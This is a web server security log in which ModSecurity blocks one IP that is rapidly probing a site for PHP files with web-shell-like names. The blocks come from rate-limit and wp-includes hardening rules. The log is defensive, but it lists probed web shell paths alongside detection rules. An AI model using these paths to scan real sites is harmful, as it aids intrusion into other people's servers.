[Sun Apr 19 23:12:24.098062 2026] [:error] [pid 15764:tid 15842] [client 20.203.147.105:20925] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aeTw2GLL_sqdSHoVp-RBdQAAAlA"]
[Sun Apr 19 23:12:24.572432 2026] [:error] [pid 15763:tid 15796] [client 20.203.147.105:20888] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/view.php"] [unique_id "aeTw2LMXv1Y1THOoxaAX9QAAAgA"]
[Sun Apr 19 23:12:25.046893 2026] [:error] [pid 15764:tid 15847] [client 20.203.147.105:20979] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeTw2WLL_sqdSHoVp-RBegAAAlU"]
[Sun Apr 19 23:12:25.548275 2026] [:error] [pid 15760:tid 15780] [client 20.203.147.105:21045] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeTw2fSdD_XHQMJ_IStpfAAAAcw"]
[Sun Apr 19 23:12:26.051557 2026] [:error] [pid 15760:tid 15783] [client 20.203.147.105:20893] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeTw2vSdD_XHQMJ_IStpfgAAAc8"]
[Sun Apr 19 23:12:26.560583 2026] [:error] [pid 15760:tid 15788] [client 20.203.147.105:21116] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cilus.php"] [unique_id "aeTw2vSdD_XHQMJ_IStphAAAAdQ"]
[Sun Apr 19 23:12:27.096891 2026] [:error] [pid 15764:tid 15839] [client 20.203.147.105:20934] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeTw22LL_sqdSHoVp-RBfgAAAk0"]
[Sun Apr 19 23:12:27.605774 2026] [:error] [pid 47772:tid 47795] [client 20.203.147.105:20956] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeTw24c0L16cb4smAz_fwgAAAAY"]
[Sun Apr 19 23:12:28.133824 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:21038] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeTw3GLL_sqdSHoVp-RBgAAAAkw"]
[Sun Apr 19 23:12:28.609461 2026] [:error] [pid 47772:tid 47799] [client 20.203.147.105:21024] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aeTw3Ic0L16cb4smAz_fyAAAAAo"]
[Sun Apr 19 23:12:29.123159 2026] [:error] [pid 15694:tid 15730] [client 20.203.147.105:20944] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTw3bimB-jol1fwqAobDgAAAYQ"]
[Sun Apr 19 23:12:29.658983 2026] [:error] [pid 47775:tid 47854] [client 20.203.147.105:20928] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTw3bmztjlk9tsmoewreAAAAIs"]
[Sun Apr 19 23:12:30.191131 2026] [:error] [pid 15764:tid 15850] [client 20.203.147.105:20871] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTw3mLL_sqdSHoVp-RBhAAAAlc"]
[Sun Apr 19 23:12:30.667644 2026] [:error] [pid 15760:tid 15769] [client 20.203.147.105:20988] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTw3vSdD_XHQMJ_IStphwAAAcE"]
[Sun Apr 19 23:12:31.144402 2026] [:error] [pid 15760:tid 15785] [client 20.203.147.105:20872] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeTw3_SdD_XHQMJ_IStpiwAAAdE"]
[Sun Apr 19 23:12:31.615615 2026] [:error] [pid 15760:tid 15783] [client 20.203.147.105:20958] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeTw3_SdD_XHQMJ_IStpjwAAAc8"]
[Sun Apr 19 23:12:32.099493 2026] [:error] [pid 47773:tid 47826] [client 20.203.147.105:20971] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeTw4OiBHdnCJDuPq9BajQAAAEo"]
[Sun Apr 19 23:12:32.581011 2026] [:error] [pid 47772:tid 47800] [client 20.203.147.105:21084] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aeTw4Ic0L16cb4smAz_fzwAAAAs"]
[Sun Apr 19 23:12:33.070721 2026] [:error] [pid 47772:tid 47812] [client 20.203.147.105:21032] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeTw4Yc0L16cb4smAz_f0wAAABc"]
[Sun Apr 19 23:12:33.562546 2026] [:error] [pid 15763:tid 15819] [client 20.203.147.105:21111] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeTw4bMXv1Y1THOoxaAX-gAAAhc"]
[Sun Apr 19 23:12:34.036639 2026] [:error] [pid 47772:tid 47801] [client 20.203.147.105:21050] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeTw4oc0L16cb4smAz_f3QAAAAw"]
[Sun Apr 19 23:12:34.514172 2026] [:error] [pid 15763:tid 15818] [client 20.203.147.105:20942] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aeTw4rMXv1Y1THOoxaAX-wAAAhY"]
[Sun Apr 19 23:12:34.991541 2026] [:error] [pid 15760:tid 15781] [client 20.203.147.105:20911] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "aeTw4vSdD_XHQMJ_IStplAAAAc0"]
[Sun Apr 19 23:12:35.469001 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:20938] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "aeTw42LL_sqdSHoVp-RBiAAAAkw"]
[Sun Apr 19 23:12:35.940430 2026] [:error] [pid 15693:tid 15706] [client 20.203.147.105:20887] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "aeTw48NMD-ccazQlTsll5wAAAUo"]
[Sun Apr 19 23:12:36.416594 2026] [:error] [pid 47773:tid 47818] [client 20.203.147.105:21042] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "aeTw5OiBHdnCJDuPq9BajwAAAEI"]
[Sun Apr 19 23:12:36.916596 2026] [:error] [pid 15694:tid 15731] [client 20.203.147.105:20977] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeTw5LimB-jol1fwqAobEgAAAYU"]
[Sun Apr 19 23:12:37.442003 2026] [:error] [pid 15764:tid 15828] [client 20.203.147.105:20983] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeTw5WLL_sqdSHoVp-RBjgAAAkI"]
[Sun Apr 19 23:12:37.912502 2026] [:error] [pid 15764:tid 15826] [client 20.203.147.105:20875] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeTw5WLL_sqdSHoVp-RBkwAAAkA"]
[Sun Apr 19 23:12:38.388338 2026] [:error] [pid 15763:tid 15799] [client 20.203.147.105:20902] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeTw5rMXv1Y1THOoxaAYAAAAAgM"]
[Sun Apr 19 23:12:38.861087 2026] [:error] [pid 47773:tid 47831] [client 20.203.147.105:21048] [client 20.203.147.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeTw5uiBHdnCJDuPq9BalAAAAE8"]
[Sun Apr 19 23:12:39.362973 2026] [:error] [pid 15763:tid 15811] [client 20.203.147.105:20959] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aeTw57MXv1Y1THOoxaAYAwAAAg8"]
[Sun Apr 19 23:12:39.865308 2026] [:error] [pid 47773:tid 47816] [client 20.203.147.105:20926] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aeTw5-iBHdnCJDuPq9BamAAAAEA"]
[Sun Apr 19 23:12:40.336313 2026] [:error] [pid 47772:tid 47801] [client 20.203.147.105:20874] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aeTw6Ic0L16cb4smAz_f5QAAAAw"]
[Sun Apr 19 23:12:40.811418 2026] [:error] [pid 15694:tid 15747] [client 20.203.147.105:20967] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeTw6LimB-jol1fwqAobFQAAAZU"]
[Sun Apr 19 23:12:41.285553 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:20993] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeTw6WLL_sqdSHoVp-RBmAAAAkw"]
[Sun Apr 19 23:12:41.774565 2026] [:error] [pid 47772:tid 47795] [client 20.203.147.105:21019] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeTw6Yc0L16cb4smAz_f5gAAAAY"]
[Sun Apr 19 23:12:42.255821 2026] [:error] [pid 47772:tid 47798] [client 20.203.147.105:20914] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/layout.php"] [unique_id "aeTw6oc0L16cb4smAz_f6QAAAAk"]
[Sun Apr 19 23:12:42.774513 2026] [:error] [pid 15765:tid 15858] [client 20.203.147.105:21075] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeTw6vRqinw-W5EwQ74K7AAAAoU"]
[Sun Apr 19 23:12:43.292326 2026] [:error] [pid 15694:tid 15740] [client 20.203.147.105:20936] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeTw67imB-jol1fwqAobFwAAAY4"]
[Sun Apr 19 23:12:43.796560 2026] [:error] [pid 47772:tid 47790] [client 20.203.147.105:20898] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeTw64c0L16cb4smAz_f6gAAAAE"]
[Sun Apr 19 23:12:44.354482 2026] [:error] [pid 15764:tid 15830] [client 20.203.147.105:20960] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "aeTw7GLL_sqdSHoVp-RBnAAAAkQ"]
[Sun Apr 19 23:12:44.868609 2026] [:error] [pid 15764:tid 15844] [client 20.203.147.105:21091] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "aeTw7GLL_sqdSHoVp-RBoAAAAlI"]
[Sun Apr 19 23:12:45.442638 2026] [:error] [pid 15760:tid 15783] [client 20.203.147.105:20906] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "aeTw7fSdD_XHQMJ_IStpnwAAAc8"]
[Sun Apr 19 23:12:45.930843 2026] [:error] [pid 15760:tid 15789] [client 20.203.147.105:20981] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "aeTw7fSdD_XHQMJ_IStpoAAAAdU"]
[Sun Apr 19 23:12:46.473510 2026] [:error] [pid 15765:tid 15860] [client 20.203.147.105:20822] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "aeTw7vRqinw-W5EwQ74K7gAAAoc"]
[Sun Apr 19 23:12:46.976875 2026] [:error] [pid 15694:tid 15748] [client 20.203.147.105:20930] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeTw7rimB-jol1fwqAobGgAAAZY"]
[Sun Apr 19 23:12:47.458574 2026] [:error] [pid 15764:tid 15831] [client 20.203.147.105:21015] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeTw72LL_sqdSHoVp-RBqAAAAkU"]
[Sun Apr 19 23:12:47.964369 2026] [:error] [pid 15760:tid 15786] [client 20.203.147.105:20877] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeTw7_SdD_XHQMJ_IStpqAAAAdI"]
[Sun Apr 19 23:12:48.469876 2026] [:error] [pid 15764:tid 15832] [client 20.203.147.105:20836] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/state.php"] [unique_id "aeTw8GLL_sqdSHoVp-RBqwAAAkY"]
[Sun Apr 19 23:12:48.959195 2026] [:error] [pid 15760:tid 15782] [client 20.203.147.105:20867] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aeTw8PSdD_XHQMJ_IStpqgAAAc4"]
[Sun Apr 19 23:12:49.433964 2026] [:error] [pid 15764:tid 15829] [client 20.203.147.105:20861] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aeTw8WLL_sqdSHoVp-RBsAAAAkM"]
[Sun Apr 19 23:12:49.916890 2026] [:error] [pid 15764:tid 15837] [client 20.203.147.105:20968] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aeTw8WLL_sqdSHoVp-RBtAAAAks"]
[Sun Apr 19 23:12:50.427093 2026] [:error] [pid 15694:tid 15736] [client 20.203.147.105:20851] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "aeTw8rimB-jol1fwqAobIgAAAYo"]
[Sun Apr 19 23:12:50.961442 2026] [:error] [pid 15764:tid 15847] [client 20.203.147.105:20882] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aeTw8mLL_sqdSHoVp-RBuQAAAlU"]
[Sun Apr 19 23:12:51.495796 2026] [:error] [pid 15764:tid 15834] [client 20.203.147.105:20895] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aeTw82LL_sqdSHoVp-RBwAAAAkg"]
